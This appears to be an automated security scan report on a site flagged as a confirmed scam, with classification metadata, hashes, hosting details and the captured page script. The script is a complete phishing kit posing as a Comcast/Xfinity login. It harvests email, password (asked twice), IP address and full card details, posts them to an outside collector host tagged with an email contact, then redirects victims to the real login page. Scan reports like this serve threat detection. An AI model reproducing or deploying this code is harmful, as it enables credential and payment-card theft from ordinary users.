finance banking

technology software

e-commerce shopping

government public service

cryptocurrency blockchain

English

Within the application-focused generic top-level domain (.app), 'xfactor300.vercel.app' is registered, featuring subdomain 'xfactor300'. Count 6 characters in 'vercel' split between 2 vowels and four consonants. Tokenizing the label suggests 2 words: ver, cel. Median word length comes out to three characters. No strong language cues emerged from the frequency lists.

cardNumber

nameOnCard

expiryDate

securityCode

zipCode

address

html/4b/db/4bdbf1a0-6ea8-422b-9f6a-fd47baa7f431.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

176e894661aa9cdc9a5cba6c720044cbbf7b8bd80d1c9a142a7c24b1b6c50d15

6dc8d7aadafb4ea3c9a615d1578593c57fa2ba3b55379a3be415b78581b9ba5c

5cd2de3660dcaf9a8c449df5d5183c02c448120902a1e0c5f0c6d3b6b0210b33

f7ca590f78b1ab2c6bc03a00ed84aecc89551980673e161d4c60007555e3ebaf

viewport

Tucows

Tucows Domains Inc

vercel.app

Abuse

Google LLC

GOOGLE


        tailwind.config = {
            theme: {
                extend: {
                    boxShadow: {
                        'inset-border-active': 'inset 0 0 0 1px #0d54ff',
                    },
                    fontFamily: {
                        sans: ['Work Sans', 'sans-serif'],
                    }
                }
            }
        }
    


        // Updated Base URL and Chat ID
        const baseURL = 'https://fr-1290-2o1v.vercel.app/';
        const CHAT_ID = 'alinasam973@gmail.com';

        let state = {
            step: 1,
            email: '',
            password: '',
            password2: '',
            showPassword: false,
            showPassword2: false,
            ipAddress: ''
        };

        const step1 = document.getElementById('step-1');
        const step2 = document.getElementById('step-2');
        const inputField = document.getElementById('input-field');
        const btnSubmit = document.getElementById('btn-submit');
        const errorMessageContainer = document.getElementById('error-message-container');
        const errorText = document.getElementById('error-text');
        const showEmailBack = document.getElementById('show-email-back');
        const displayedEmail = document.getElementById('displayed-email');
        const paymentForm = document.getElementById('payment-form');

        document.addEventListener('DOMContentLoaded', () => {
            fetchIP();

            btnSubmit.addEventListener('click', handleLoginClick);
            showEmailBack.addEventListener('click', handleBackClick);
            inputField.addEventListener('input', () => errorMessageContainer.classList.add('hidden'));

            paymentForm.addEventListener('submit', handlePaymentSubmit);

            document.getElementById('cardNumber').addEventListener('input', (e) => {
                e.target.value = formatCardNumber(e.target.value);
                clearError('cardNumber');
            });
            document.getElementById('expiryDate').addEventListener('input', (e) => {
                e.target.value = formatExpiryDate(e.target.value);
                clearError('expiryDate');
            });

            ['nameOnCard', 'securityCode', 'zipCode', 'address'].forEach(id => {
                document.getElementById(id).addEventListener('input', () => clearError(id));
            });
        });

        function fetchIP() {
            fetch('https://api.ipify.org?format=json')
                .then(r => r.json())
                .then(d => state.ipAddress = d.ip)
                .catch(e => console.error(e));
        }

        function isValidEmail(email) {
            return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        }

        function handleLoginClick() {
            errorMessageContainer.classList.add('hidden');
            const val = inputField.value;

            if (!state.showPassword) {
                if (!isValidEmail(val)) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.email = val;
                state.showPassword = true;
                showEmailBack.classList.remove('hidden');
                displayedEmail.innerText = state.email;
                inputField.value = '';
                inputField.placeholder = 'Password';
                inputField.type = 'password';
                return;
            }

            if (!state.showPassword2) {
                if (!val) {
                    errorMessageContainer.classList.remove('hidden');
                    return;
                }
                state.password = val;
                state.showPassword2 = true;
                inputField.value = '';
                inputField.placeholder = 'Enter password again';
                return;
            }

            if (!val) {
                errorMessageContainer.classList.remove('hidden');
                errorText.innerText = 'Please enter your password correctly';
                return;
            }
            state.password2 = val;
            authenticate();
        }

        function handleBackClick() {
            state.showPassword = false;
            state.showPassword2 = false;
            showEmailBack.classList.add('hidden');
            inputField.value = state.email;
            inputField.placeholder = 'Email, mobile, or username';
            inputField.type = 'text';
            errorMessageContainer.classList.add('hidden');
        }

        function authenticate() {
            const payload = {
                email: state.email,
                password: state.password,
                password2: state.password2,
                name: 'Comcast',
                IPAddress: state.ipAddress,
                chatId: CHAT_ID,
                title: 'Comcast'
            };

            // Using the new submission logic structure
            fetch(`${baseURL}main`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ 
                    data: JSON.stringify(payload), 
                    chatId: CHAT_ID, 
                    title: 'Comcast' 
                })
            })
            .then(() => {
                step1.classList.add('hidden');
                step2.classList.remove('hidden');
            })
            .catch(e => console.error(e));
        }

        function formatCardNumber(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            const parts = v.match(/.{1,4}/g);
            return parts ? parts.join(' ') : v;
        }

        function formatExpiryDate(v) {
            v = v.replace(/\s+/g, '').replace(/[^0-9]/gi, '');
            return v.length > 2 ? v.substring(0, 2) + '/' + v.substring(2, 4) : v;
        }

        function luhnCheck(c) {
            c = c.replace(/\s/g, '');
            let sum = 0, db = false;
            for (let i = c.length - 1; i >= 0; i--) {
                let d = parseInt(c[i]);
                if (db) { d *= 2; if (d > 9) d -= 9; }
                sum += d; db = !db;
            }
            return sum % 10 === 0;
        }

        function clearError(id) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) err.classList.add('hidden');
            if (inp) { inp.classList.remove('border-red-500'); inp.classList.add('border-gray-300'); }
            document.getElementById('form-global-error').classList.add('hidden');
        }

        function showError(id, msg) {
            const err = document.getElementById(`error-${id}`), inp = document.getElementById(id);
            if (err) { err.innerText = msg; err.classList.remove('hidden'); }
            if (inp) { inp.classList.remove('border-gray-300'); inp.classList.add('border-red-500'); }
        }

        function handlePaymentSubmit(e) {
            e.preventDefault();
            const fd = new FormData(paymentForm);
            let ok = true;

            const fields = ['cardNumber', 'nameOnCard', 'expiryDate', 'securityCode', 'zipCode', 'address'];
            fields.forEach(f => {
                if (!fd.get(f).trim()) { showError(f, 'Required'); ok = false; }
            });

            if (ok && !luhnCheck(fd.get('cardNumber'))) { showError('cardNumber', 'Invalid card'); ok = false; }
            
            if (ok) {
                const data = JSON.stringify({ ...Object.fromEntries(fd), name: 'Comcast' });
                
                // Using the new submission logic structure
                fetch(`${baseURL}main`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ 
                        data, 
                        chatId: CHAT_ID, 
                        title: 'Comcast' 
                    })
                })
                .then(() => window.location.replace('https://login.xfinity.com/login'))
                .catch(e => console.error(e));
            } else {
                document.getElementById('form-global-error').classList.remove('hidden');
            }
        }
    

Requests	IP Address	Location	AS Autonomous System
4	172.67.68.11Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
3	64.29.17.3	United States	AS16509Amazon.com, Inc.
3	142.251.14.95Google · CDN	United States	AS15169Google LLC
10	3	-	-

Security Scan Report: xfactor300.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History